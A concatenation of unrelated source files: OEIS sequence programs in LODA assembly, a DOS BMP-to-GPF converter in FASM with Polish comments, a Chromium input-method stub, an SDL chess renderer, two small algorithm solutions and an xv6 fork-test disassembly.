mul $1,2
sub $3,1
lpe
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
|
; A329926: Beatty sequence for (8+sqrt(41))/5.
; 3,6,9,12,15,18,21,24,27,30,33,36,40,43,46,49,52,55,58,61,64,67,70,73,77,80,83,86,89,92,95,98,101,104,107,110,113,117,120,123,126,129,132,135,138,141,144,147,150,154,157,160,163,166,169,172,175,178,181
mov $4,$0
add $0,1
mov $3,$0
mul $3,2
div $3,25
mov $1,$3
add $1,3
mov $2,$4
mul $2,3
add $1,$2
|
format MZ
include 'loader.inc'
;fs= 0-based segment ;ds=es-data segnt cs=code segment gs=wolny
segment _code use32
code32:
mov eax,0900h ;wypisz komunikat
lea edx,[TMessage] ;zaladuj adres do dx
int 21h ;przerwanie dosa
mov edx,FileName ;adres bufora na nazwe
mov byte[edx],253
pobierz_nazwe:
mov eax,0a00h ;funkcja buffered input
;zaladuj adres do dx
int 21h ;przerwanie dosa
movzx di,byte [edx+1];licznik znakow z bufora do di
add edx,2 ;edx=adres nazwy pliku
add edi,edx ;edi= adres ostatniego znaku w pliku
mov byte[edi],0 ;usun [enter] na koncu bufora
check_file:
sub edi,4 ;edx ostatnie znaki w buforze
mov eax,[edi] ;zaladuj 4 ostatnie znaki
or eax,00100000001000000010000000000000b;zmien litery na male
cmp eax,'.bmp' ;sprawdz, czy plik .gpf
jne error ;jesli nie to blad
mov [RozAdr],edi
otworz_plik:
mov eax,3d00h ;funkcja otworz plik
mov [ErrorCode],TErrorFile2
xor ecx,ecx
int 21h ;przerwanie dos
jc error ;gdy jest jakis blad +++++++
mov ebx,eax
get_file_size:
xor ecx,ecx
mov eax,4202h
xor edx,edx ;pobierz rozmiar pliku
int 21h
push dx
push ax
shl edx,16
mov dx,ax
push edx
xor edx,edx
mov eax,4200h
xor ecx,ecx
int 21h
pop ecx
mov [FileLenght],ecx
mov [FileHandle],ebx
alocate:
mov eax,0501h
pop cx
pop bx
int 31h
create_selector:
push bx
push cx
mov cx,1
xor ax,ax
int 31h
mov dx,ds
lar cx,dx
mov si,ax
shr cx,8
mov bx,ax
or cx,1100000000000000b
mov ax,9
int 31h
pop dx
pop cx
mov bx,si
mov ax,7
int 31h
mov cx,0ffffh
mov dx,0ffffh
mov eax,8
mov bx,si
int 31h
mov [es:SelAloc],si
push si
pop ds
czytajnaglowek:mov ebx,[es:FileHandle]
mov ecx,54 ;czytaj 54 bajty
xor edx,edx
mov ax,3f00h ;funkcja czytaj z pliku
int 21h
jc error
mov cx,4
ustawpalete: mov ax,3f00h ;funkcja czytaj z pliku
int 21h
mov al,[edx] ;przenies kolor r do palety
shr al,2
mov [edx],al
inc edx
mov al,[edx] ;przenies kolor g do palety
shr al,2
mov [edx],al
inc edx
mov al,[edx] ;przenies kolor b do palety
shr al,2
mov [edx],al
inc edx
mov al,[edx] ;przenies kolor b do palety
shr al,2
mov [edx],al
inc edx
cmp edx,1024 ;czy juz wszystko?
jb ustawpalete ;jesli nie to jeszcze raz
ladujobraz:
mov edx,400h
mov ecx,[es:FileLenght]
sub ecx,1024+54
mov eax,3f00h ;czytaj z pliku
int 21h ;zaladuj obraz
push es
pop ds
utworz_plik:
mov edi,[RozAdr]
mov eax,'.gpf' ;zmien rozszerzenie w nazwie pliku
mov [es:edi],eax
mov edx,FileName+2 ;adres nazwy pliku
mov eax,3c00h ;funkcja utworz plik
xor ecx,ecx
int 21h
jc error ;gdy jakis blad
xor edx,edx
push [SelAloc]
pop ds
zapisz_palete:mov ebx,eax ;uchwyt do bx
mov ecx,1024 ;zapisz 1024 bajty do pliku
mov eax,4000h ;zapisz palete do pliku
int 21h
zapisz_obraz:
mov edx,0 ;edx=adres konca pliku
add edx,[es:FileLenght]
sub edx,54
mov ecx,640 ;zapisz 640 bajtow
@@: ;procedura zapisujaca obraz z bufora do pliku
sub edx,ecx
mov eax,4000h
int 21h ;zapisz do pliku
cmp edx,400h ;czy juz caly obraz?
ja @r
push es
pop ds
zakoncz_program:
mov edx,TSuccess
mov eax,0900h
int 21h
zakoncz:
xor eax,eax ;czekaj na klawisz
int 16h
mov eax,4c00h ;wyjdz
int 21h
error:
mov ax,0900h ;wyswietl tekst bledu
mov edx,[ErrorCode]
int 21h
jmp zakoncz
ErrorCode dd TErrorFile1
TErrorFile1: db 'Niewlasciwa nazwa pliku$'
TErrorFile2: db 'Blad operacji na pliku $'
TMessage: db 'Wpisz nazwe pliku, ktory chcesz przekonwertowac z bmp na gpf',10,13,'$'
TSuccess db "Operacja zakonczona pomyslnie!$"
FileHandle dd 0
FileLenght: dd 0
SelAloc dw 0
RozAdr dd 0
FileName: times 256 db 0 |
// Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ui/ozone/ime/fake_input_method_context_ozone.h"
namespace ui {
FakeInputMethodContextOzone::FakeInputMethodContextOzone() {
}
FakeInputMethodContextOzone::~FakeInputMethodContextOzone() {
}
bool FakeInputMethodContextOzone::DispatchKeyEvent(
const ui::KeyEvent& /* key_event */) {
return false;
}
void FakeInputMethodContextOzone::Reset() {
}
void FakeInputMethodContextOzone::OnTextInputTypeChanged(
ui::TextInputType /* text_input_type */) {
}
void FakeInputMethodContextOzone::OnCaretBoundsChanged(
const gfx::Rect& /* caret_bounds */) {
}
} // namespace ui
|
; A007851: Number of elements w of the Weyl group D(n) such that the roots sent negative by w span an Abelian subalgebra of the Lie algebra.
; 1,4,14,48,167,593,2144,7864,29171,109173,411501,1560089,5943199,22732739,87253604,335897864,1296447899,5015206349,19439895089,75487384829,293595204239,1143532045499,4459774977449,17413705988873
add $0,1
mov $2,$0
add $2,$0
bin $2,$0
add $0,1
mov $1,$2
div $1,$0
add $1,13
add $2,$1
add $2,2
mul $2,2
sub $2,34
div $2,2
add $2,2
add $1,$2
sub $1,15
div $1,2
mov $0,$1
|
; A246472: Number of order-preserving (monotone) functions from the power set of 1 = {0} to the power set of n = {0, ..., n-1}.
; 1,3,9,30,109,418,1650,6604,26589,107274,432934,1746484,7040626,28362324,114175812,459344920,1847008989,7423262554,29822432862,119766845860,480833598054,1929896415484,7744047734652,31067665113640,124613703290994,499744683756868
mov $1,$0
mov $2,$0
mul $2,2
bin $2,$0
cal $1,28400 ; a(n) = (2^n + 1)^2.
sub $1,$2
sub $1,3
div $1,2
add $1,1
|
#include "renderer.h"
#include "board.h"
#include "piece.h"
namespace colours {
constexpr std::uint32_t lastMoveLight = 0xCED287;
constexpr std::uint32_t lastMoveDark = 0xA9A356;
constexpr std::uint32_t regularLight = 0xECDBB9;
constexpr std::uint32_t regularDark = 0xAE8968;
}
SDL_Texture *Renderer::readtex(Piece& piece) {
std::size_t offset = this->texoffset(piece.colour, piece.type);
return this->textures[offset];
}
std::size_t Renderer::texoffset(Piece::Colour c, Piece::Type t) {
std::uint32_t cb = static_cast<std::uint32_t>(c);
std::uint32_t tb = static_cast<std::uint32_t>(t);
return (cb << 3) | tb;
}
void Renderer::loadtex(Piece::Colour c, Piece::Type t, const char* file) {
SDL_Surface *surface = SDL_LoadBMP(file);
SDL_Texture *tex = SDL_CreateTextureFromSurface(this->renderer, surface);
if(surface != nullptr) SDL_FreeSurface(surface);
this->textures[this->texoffset(c, t)] = tex;
}
void Renderer::brush(std::uint32_t hex) {
std::uint8_t red = (hex >> 16) & 0xFF;
std::uint8_t green = (hex >> 8) & 0xFF;
std::uint8_t blue = hex & 0xFF;
SDL_SetRenderDrawColor(this->renderer, red, green, blue, 255);
}
SDL_Rect Renderer::rect(std::size_t x, std::size_t y, std::size_t w, std::size_t l) {
// The renderer works using std::size_t types. SDL uses machine-wide integers,
// so we perform a static cast to make it happy. If something breaks because
// of overflow, expect the problem to be around here.
SDL_Rect rect = {
static_cast<int>(x),
static_cast<int>(y),
static_cast<int>(w),
static_cast<int>(l)
};
return rect;
}
void Renderer::draw(Board& board) {
std::size_t length = this->pixels * this->scale;
SDL_Texture *storetex = this->readtex(this->store);
// Clear the screen.
this->brush(0x000000);
SDL_RenderClear(this->renderer);
// Render the board along with its pieces.
for(std::size_t i = 0, x = 0, y = 0; auto& piece : board) {
SDL_Rect graphic = this->rect(x, y, length, length);
// Perform move highlighting if origin and destination are not equal and on the board.
bool lastmove = this->origin != this->dest && (i == this->origin || i == this->dest);
bool colour = this->stride % 2 == 0 ? ((i / this->stride) + i) % 2 == 0 : i % 2 == 0;
// Create a checkerboard pattern for any number of squares, or highlight the last move.
if(lastmove) this->brush(colour ? colours::lastMoveLight : colours::lastMoveDark);
else this->brush(colour ? colours::regularLight : colours::regularDark);
SDL_RenderFillRect(this->renderer, &graphic);
bool invisible = i == this->prev && this->store.type != Piece::Type::empty;
SDL_Texture *tex = this->readtex(piece);
if(tex != nullptr && !invisible) {
SDL_RenderCopy(this->renderer, tex, nullptr, &graphic);
}
if(++i % this->stride == 0) {
y += length; x = 0;
} else {
x += length;
}
}
// Render the store piece onto the cursor.
if(storetex != nullptr) {
SDL_Rect mouse = this->rect(0, 0, length, length);
SDL_GetMouseState(&mouse.x, &mouse.y);
mouse.x = (mouse.x * this->scale) - (length / 2);
mouse.y = (mouse.y * this->scale) - (length / 2);
SDL_RenderCopy(this->renderer, storetex, nullptr, &mouse);
}
// Finish rendering and present to screen.
SDL_RenderPresent(this->renderer);
}
std::size_t Renderer::square(std::size_t x, std::size_t y) {
// Get an appropriate board index by dividing by the pixel size of the square.
// Mouse coordinates in SDL2 are given in the non-scaled form.
std::size_t rank = (y / this->pixels) * this->stride;
std::size_t file = x / this->pixels;
return rank + file;
}
Renderer::Renderer(std::size_t squares, std::size_t pixels) {
// Attempt to initialise SDL, exit if unable.
if(SDL_Init(SDL_INIT_VIDEO) < 0) exit(-1);
std::uint32_t flags = SDL_WINDOW_SHOWN | SDL_WINDOW_ALLOW_HIGHDPI;
int resolution = static_cast<int>(squares * pixels);
int scaledres;
// If the SDL window or renderer couldn't initialise, exit.
SDL_CreateWindowAndRenderer(resolution, resolution, flags, &this->window, &this->renderer);
if(this->window == nullptr || this->renderer == nullptr) exit(-1);
// Get the actual resolution that the OS has decided to use.
SDL_GetRendererOutputSize(this->renderer, &scaledres, nullptr);
this->scale = static_cast<std::size_t>(scaledres / resolution);
// The value of these doesn't matter, only that they are
// equal to each other to disable move highlighting.
this->origin = this->dest = this->prev;
this->stride = squares;
this->pixels = pixels;
// Load piece textures into an array.
SDL_SetHint(SDL_HINT_RENDER_SCALE_QUALITY, "best");
for(auto texture : this->textures) {
texture = nullptr;
}
this->loadtex(Piece::Colour::white, Piece::Type::empty, "data/we.bmp");
this->loadtex(Piece::Colour::white, Piece::Type::pawn, "data/wp.bmp");
this->loadtex(Piece::Colour::white, Piece::Type::knight, "data/wn.bmp");
this->loadtex(Piece::Colour::white, Piece::Type::bishop, "data/wb.bmp");
this->loadtex(Piece::Colour::white, Piece::Type::rook, "data/wr.bmp");
this->loadtex(Piece::Colour::white, Piece::Type::queen, "data/wq.bmp");
this->loadtex(Piece::Colour::white, Piece::Type::king, "data/wk.bmp");
this->loadtex(Piece::Colour::black, Piece::Type::empty, "data/be.bmp");
this->loadtex(Piece::Colour::black, Piece::Type::pawn, "data/bp.bmp");
this->loadtex(Piece::Colour::black, Piece::Type::knight, "data/bn.bmp");
this->loadtex(Piece::Colour::black, Piece::Type::bishop, "data/bb.bmp");
this->loadtex(Piece::Colour::black, Piece::Type::rook, "data/br.bmp");
this->loadtex(Piece::Colour::black, Piece::Type::queen, "data/bq.bmp");
this->loadtex(Piece::Colour::black, Piece::Type::king, "data/bk.bmp");
}
|
#include <bits/stdc++.h>
using namespace std;
int main () {
int K;
cin >> K;
vector<int> v(K);
for (int i = 0; i < K; ++i) cin >> v[i];
vector<tuple<int, int, int>> dp(K);
dp.front() = make_tuple(v.front(), 0, 0);
int res = v.front();
for (int i = 1; i < K; ++i) {
auto [s, l, r] = dp[i - 1];
if (s + v[i] > v[i]) {
dp[i] = make_tuple(s + v[i], l, i);
res = max(res, s + v[i]);
}
else if (s + v[i] < v[i]) {
dp[i] = make_tuple(v[i], i, i);
res = max(res, v[i]);
}
}
for (int i = 0; i < dp.size(); ++i) {
auto [s, l, r] = dp[i];
if (s == res && res >= 0) {
printf("%d %d %d\n", s, v[l], v[r]);
return 0;
}
}
printf("%d %d %d\n", 0, v.front(), v.back());
}
|
#include <iostream>
#include <vector>
#include <string>
using namespace std;
/**
* 2020-04-14
* Veronica
*/
class Solution {
public:
string stringShift(string s, vector<vector<int>>& shift) {
int shifts = 0;
for (auto a : shift) {
if (a[0] == 0)
shifts -= a[1];
else
shifts += a[1];
}
if (shifts == 0)
return s;
else if (shifts < 0) {
shifts = -shifts;
shifts %= s.size();
return s.substr(shifts, s.size() - shifts) + s.substr(0, shifts);
}
else {
shifts %= s.size();
return s.substr(s.size() - shifts, shifts) + s.substr(0, s.size() - shifts);
}
}
};
int main() {
Solution solution;
string s = "wpdhhcj";
vector<vector<int>> shift = { {0,7},{1,7},{1,0},{1,3},{0,3},{0,6},{1,2} };
cout << solution.stringShift(s, shift) << endl;
return 0;
} |
_forktest: file format elf32-i386
Disassembly of section .text:
00000000 <printf>:
#define N 1000
void
printf(int fd, char *s, ...)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 18 sub $0x18,%esp
write(fd, s, strlen(s));
6: 8b 45 0c mov 0xc(%ebp),%eax
9: 89 04 24 mov %eax,(%esp)
c: e8 92 01 00 00 call 1a3 <strlen>
11: 89 44 24 08 mov %eax,0x8(%esp)
15: 8b 45 0c mov 0xc(%ebp),%eax
18: 89 44 24 04 mov %eax,0x4(%esp)
1c: 8b 45 08 mov 0x8(%ebp),%eax
1f: 89 04 24 mov %eax,(%esp)
22: e8 89 03 00 00 call 3b0 <write>
}
27: c9 leave
28: c3 ret
00000029 <forktest>:
void
forktest(void)
{
29: 55 push %ebp
2a: 89 e5 mov %esp,%ebp
2c: 83 ec 28 sub $0x28,%esp
int n, pid;
printf(1, "fork test\n");
2f: c7 44 24 04 48 04 00 movl $0x448,0x4(%esp)
36: 00
37: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3e: e8 bd ff ff ff call 0 <printf>
for(n=0; n<N; n++){
43: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
4a: eb 1c jmp 68 <forktest+0x3f>
pid = fork();
4c: e8 37 03 00 00 call 388 <fork>
51: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid < 0)
54: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
58: 78 19 js 73 <forktest+0x4a>
break;
if(pid == 0)
5a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
5e: 75 05 jne 65 <forktest+0x3c>
exit();
60: e8 2b 03 00 00 call 390 <exit>
{
int n, pid;
printf(1, "fork test\n");
for(n=0; n<N; n++){
65: ff 45 f4 incl -0xc(%ebp)
68: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
6f: 7e db jle 4c <forktest+0x23>
71: eb 01 jmp 74 <forktest+0x4b>
pid = fork();
if(pid < 0)
break;
73: 90 nop
if(pid == 0)
exit();
}
if(n == N){
74: 81 7d f4 e8 03 00 00 cmpl $0x3e8,-0xc(%ebp)
7b: 75 46 jne c3 <forktest+0x9a>
printf(1, "fork claimed to work N times!\n", N);
7d: c7 44 24 08 e8 03 00 movl $0x3e8,0x8(%esp)
84: 00
85: c7 44 24 04 54 04 00 movl $0x454,0x4(%esp)
8c: 00
8d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
94: e8 67 ff ff ff call 0 <printf>
exit();
99: e8 f2 02 00 00 call 390 <exit>
}
for(; n > 0; n--){
if(wait() < 0){
9e: e8 f5 02 00 00 call 398 <wait>
a3: 85 c0 test %eax,%eax
a5: 79 19 jns c0 <forktest+0x97>
printf(1, "wait stopped early\n");
a7: c7 44 24 04 73 04 00 movl $0x473,0x4(%esp)
ae: 00
af: c7 04 24 01 00 00 00 movl $0x1,(%esp)
b6: e8 45 ff ff ff call 0 <printf>
exit();
bb: e8 d0 02 00 00 call 390 <exit>
if(n == N){
printf(1, "fork claimed to work N times!\n", N);
exit();
}
for(; n > 0; n--){
c0: ff 4d f4 decl -0xc(%ebp)
c3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
c7: 7f d5 jg 9e <forktest+0x75>
printf(1, "wait stopped early\n");
exit();
}
}
if(wait() != -1){
c9: e8 ca 02 00 00 call 398 <wait>
ce: 83 f8 ff cmp $0xffffffff,%eax
d1: 74 19 je ec <forktest+0xc3>
printf(1, "wait got too many\n");
d3: c7 44 24 04 87 04 00 movl $0x487,0x4(%esp)
da: 00
db: c7 04 24 01 00 00 00 movl $0x1,(%esp)
e2: e8 19 ff ff ff call 0 <printf>
exit();
e7: e8 a4 02 00 00 call 390 <exit>
}
printf(1, "fork test OK\n");
ec: c7 44 24 04 9a 04 00 movl $0x49a,0x4(%esp)
f3: 00
f4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
fb: e8 00 ff ff ff call 0 <printf>
}
100: c9 leave
101: c3 ret
00000102 <main>:
int
main(void)
{
102: 55 push %ebp
103: 89 e5 mov %esp,%ebp
105: 83 e4 f0 and $0xfffffff0,%esp
forktest();
108: e8 1c ff ff ff call 29 <forktest>
exit();
10d: e8 7e 02 00 00 call 390 <exit>
112: 66 90 xchg %ax,%ax
00000114 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
114: 55 push %ebp
115: 89 e5 mov %esp,%ebp
117: 57 push %edi
118: 53 push %ebx
asm volatile("cld; rep stosb" :
119: 8b 4d 08 mov 0x8(%ebp),%ecx
11c: 8b 55 10 mov 0x10(%ebp),%edx
11f: 8b 45 0c mov 0xc(%ebp),%eax
122: 89 cb mov %ecx,%ebx
124: 89 df mov %ebx,%edi
126: 89 d1 mov %edx,%ecx
128: fc cld
129: f3 aa rep stos %al,%es:(%edi)
12b: 89 ca mov %ecx,%edx
12d: 89 fb mov %edi,%ebx
12f: 89 5d 08 mov %ebx,0x8(%ebp)
132: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
135: 5b pop %ebx
136: 5f pop %edi
137: 5d pop %ebp
138: c3 ret
00000139 <strcpy>:
#include "x86.h"
#include "signal.h"
char*
strcpy(char *s, char *t)
{
139: 55 push %ebp
13a: 89 e5 mov %esp,%ebp
13c: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
13f: 8b 45 08 mov 0x8(%ebp),%eax
142: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
145: 90 nop
146: 8b 45 0c mov 0xc(%ebp),%eax
149: 8a 10 mov (%eax),%dl
14b: 8b 45 08 mov 0x8(%ebp),%eax
14e: 88 10 mov %dl,(%eax)
150: 8b 45 08 mov 0x8(%ebp),%eax
153: 8a 00 mov (%eax),%al
155: 84 c0 test %al,%al
157: 0f 95 c0 setne %al
15a: ff 45 08 incl 0x8(%ebp)
15d: ff 45 0c incl 0xc(%ebp)
160: 84 c0 test %al,%al
162: 75 e2 jne 146 <strcpy+0xd>
;
return os;
164: 8b 45 fc mov -0x4(%ebp),%eax
}
167: c9 leave
168: c3 ret
00000169 <strcmp>:
int
strcmp(const char *p, const char *q)
{
169: 55 push %ebp
16a: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
16c: eb 06 jmp 174 <strcmp+0xb>
p++, q++;
16e: ff 45 08 incl 0x8(%ebp)
171: ff 45 0c incl 0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
174: 8b 45 08 mov 0x8(%ebp),%eax
177: 8a 00 mov (%eax),%al
179: 84 c0 test %al,%al
17b: 74 0e je 18b <strcmp+0x22>
17d: 8b 45 08 mov 0x8(%ebp),%eax
180: 8a 10 mov (%eax),%dl
182: 8b 45 0c mov 0xc(%ebp),%eax
185: 8a 00 mov (%eax),%al
187: 38 c2 cmp %al,%dl
189: 74 e3 je 16e <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
18b: 8b 45 08 mov 0x8(%ebp),%eax
18e: 8a 00 mov (%eax),%al
190: 0f b6 d0 movzbl %al,%edx
193: 8b 45 0c mov 0xc(%ebp),%eax
196: 8a 00 mov (%eax),%al
198: 0f b6 c0 movzbl %al,%eax
19b: 89 d1 mov %edx,%ecx
19d: 29 c1 sub %eax,%ecx
19f: 89 c8 mov %ecx,%eax
}
1a1: 5d pop %ebp
1a2: c3 ret
000001a3 <strlen>:
uint
strlen(char *s)
{
1a3: 55 push %ebp
1a4: 89 e5 mov %esp,%ebp
1a6: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
1a9: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
1b0: eb 03 jmp 1b5 <strlen+0x12>
1b2: ff 45 fc incl -0x4(%ebp)
1b5: 8b 55 fc mov -0x4(%ebp),%edx
1b8: 8b 45 08 mov 0x8(%ebp),%eax
1bb: 01 d0 add %edx,%eax
1bd: 8a 00 mov (%eax),%al
1bf: 84 c0 test %al,%al
1c1: 75 ef jne 1b2 <strlen+0xf>
;
return n;
1c3: 8b 45 fc mov -0x4(%ebp),%eax
}
1c6: c9 leave
1c7: c3 ret
000001c8 <memset>:
void*
memset(void *dst, int c, uint n)
{
1c8: 55 push %ebp
1c9: 89 e5 mov %esp,%ebp
1cb: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
1ce: 8b 45 10 mov 0x10(%ebp),%eax
1d1: 89 44 24 08 mov %eax,0x8(%esp)
1d5: 8b 45 0c mov 0xc(%ebp),%eax
1d8: 89 44 24 04 mov %eax,0x4(%esp)
1dc: 8b 45 08 mov 0x8(%ebp),%eax
1df: 89 04 24 mov %eax,(%esp)
1e2: e8 2d ff ff ff call 114 <stosb>
return dst;
1e7: 8b 45 08 mov 0x8(%ebp),%eax
}
1ea: c9 leave
1eb: c3 ret
000001ec <strchr>:
char*
strchr(const char *s, char c)
{
1ec: 55 push %ebp
1ed: 89 e5 mov %esp,%ebp
1ef: 83 ec 04 sub $0x4,%esp
1f2: 8b 45 0c mov 0xc(%ebp),%eax
1f5: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
1f8: eb 12 jmp 20c <strchr+0x20>
if(*s == c)
1fa: 8b 45 08 mov 0x8(%ebp),%eax
1fd: 8a 00 mov (%eax),%al
1ff: 3a 45 fc cmp -0x4(%ebp),%al
202: 75 05 jne 209 <strchr+0x1d>
return (char*)s;
204: 8b 45 08 mov 0x8(%ebp),%eax
207: eb 11 jmp 21a <strchr+0x2e>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
209: ff 45 08 incl 0x8(%ebp)
20c: 8b 45 08 mov 0x8(%ebp),%eax
20f: 8a 00 mov (%eax),%al
211: 84 c0 test %al,%al
213: 75 e5 jne 1fa <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
215: b8 00 00 00 00 mov $0x0,%eax
}
21a: c9 leave
21b: c3 ret
0000021c <gets>:
char*
gets(char *buf, int max)
{
21c: 55 push %ebp
21d: 89 e5 mov %esp,%ebp
21f: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
222: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
229: eb 42 jmp 26d <gets+0x51>
cc = read(0, &c, 1);
22b: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
232: 00
233: 8d 45 ef lea -0x11(%ebp),%eax
236: 89 44 24 04 mov %eax,0x4(%esp)
23a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
241: e8 62 01 00 00 call 3a8 <read>
246: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
249: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
24d: 7e 29 jle 278 <gets+0x5c>
break;
buf[i++] = c;
24f: 8b 55 f4 mov -0xc(%ebp),%edx
252: 8b 45 08 mov 0x8(%ebp),%eax
255: 01 c2 add %eax,%edx
257: 8a 45 ef mov -0x11(%ebp),%al
25a: 88 02 mov %al,(%edx)
25c: ff 45 f4 incl -0xc(%ebp)
if(c == '\n' || c == '\r')
25f: 8a 45 ef mov -0x11(%ebp),%al
262: 3c 0a cmp $0xa,%al
264: 74 13 je 279 <gets+0x5d>
266: 8a 45 ef mov -0x11(%ebp),%al
269: 3c 0d cmp $0xd,%al
26b: 74 0c je 279 <gets+0x5d>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
26d: 8b 45 f4 mov -0xc(%ebp),%eax
270: 40 inc %eax
271: 3b 45 0c cmp 0xc(%ebp),%eax
274: 7c b5 jl 22b <gets+0xf>
276: eb 01 jmp 279 <gets+0x5d>
cc = read(0, &c, 1);
if(cc < 1)
break;
278: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
279: 8b 55 f4 mov -0xc(%ebp),%edx
27c: 8b 45 08 mov 0x8(%ebp),%eax
27f: 01 d0 add %edx,%eax
281: c6 00 00 movb $0x0,(%eax)
return buf;
284: 8b 45 08 mov 0x8(%ebp),%eax
}
287: c9 leave
288: c3 ret
00000289 <stat>:
int
stat(char *n, struct stat *st)
{
289: 55 push %ebp
28a: 89 e5 mov %esp,%ebp
28c: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
28f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
296: 00
297: 8b 45 08 mov 0x8(%ebp),%eax
29a: 89 04 24 mov %eax,(%esp)
29d: e8 2e 01 00 00 call 3d0 <open>
2a2: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
2a5: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2a9: 79 07 jns 2b2 <stat+0x29>
return -1;
2ab: b8 ff ff ff ff mov $0xffffffff,%eax
2b0: eb 23 jmp 2d5 <stat+0x4c>
r = fstat(fd, st);
2b2: 8b 45 0c mov 0xc(%ebp),%eax
2b5: 89 44 24 04 mov %eax,0x4(%esp)
2b9: 8b 45 f4 mov -0xc(%ebp),%eax
2bc: 89 04 24 mov %eax,(%esp)
2bf: e8 24 01 00 00 call 3e8 <fstat>
2c4: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
2c7: 8b 45 f4 mov -0xc(%ebp),%eax
2ca: 89 04 24 mov %eax,(%esp)
2cd: e8 e6 00 00 00 call 3b8 <close>
return r;
2d2: 8b 45 f0 mov -0x10(%ebp),%eax
}
2d5: c9 leave
2d6: c3 ret
000002d7 <atoi>:
int
atoi(const char *s)
{
2d7: 55 push %ebp
2d8: 89 e5 mov %esp,%ebp
2da: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
2dd: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
2e4: eb 21 jmp 307 <atoi+0x30>
n = n*10 + *s++ - '0';
2e6: 8b 55 fc mov -0x4(%ebp),%edx
2e9: 89 d0 mov %edx,%eax
2eb: c1 e0 02 shl $0x2,%eax
2ee: 01 d0 add %edx,%eax
2f0: d1 e0 shl %eax
2f2: 89 c2 mov %eax,%edx
2f4: 8b 45 08 mov 0x8(%ebp),%eax
2f7: 8a 00 mov (%eax),%al
2f9: 0f be c0 movsbl %al,%eax
2fc: 01 d0 add %edx,%eax
2fe: 83 e8 30 sub $0x30,%eax
301: 89 45 fc mov %eax,-0x4(%ebp)
304: ff 45 08 incl 0x8(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
307: 8b 45 08 mov 0x8(%ebp),%eax
30a: 8a 00 mov (%eax),%al
30c: 3c 2f cmp $0x2f,%al
30e: 7e 09 jle 319 <atoi+0x42>
310: 8b 45 08 mov 0x8(%ebp),%eax
313: 8a 00 mov (%eax),%al
315: 3c 39 cmp $0x39,%al
317: 7e cd jle 2e6 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
319: 8b 45 fc mov -0x4(%ebp),%eax
}
31c: c9 leave
31d: c3 ret
0000031e <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
31e: 55 push %ebp
31f: 89 e5 mov %esp,%ebp
321: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
324: 8b 45 08 mov 0x8(%ebp),%eax
327: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
32a: 8b 45 0c mov 0xc(%ebp),%eax
32d: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
330: eb 10 jmp 342 <memmove+0x24>
*dst++ = *src++;
332: 8b 45 f8 mov -0x8(%ebp),%eax
335: 8a 10 mov (%eax),%dl
337: 8b 45 fc mov -0x4(%ebp),%eax
33a: 88 10 mov %dl,(%eax)
33c: ff 45 fc incl -0x4(%ebp)
33f: ff 45 f8 incl -0x8(%ebp)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
342: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
346: 0f 9f c0 setg %al
349: ff 4d 10 decl 0x10(%ebp)
34c: 84 c0 test %al,%al
34e: 75 e2 jne 332 <memmove+0x14>
*dst++ = *src++;
return vdst;
350: 8b 45 08 mov 0x8(%ebp),%eax
}
353: c9 leave
354: c3 ret
00000355 <trampoline>:
355: 5a pop %edx
356: 59 pop %ecx
357: 58 pop %eax
358: 03 25 04 00 00 00 add 0x4,%esp
35e: c9 leave
35f: c3 ret
00000360 <signal>:
"addl 4, %esp\n\t"
"leave\n\t"
"ret\n\t"
);
int signal(int signum, sighandler_t handler)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 83 ec 18 sub $0x18,%esp
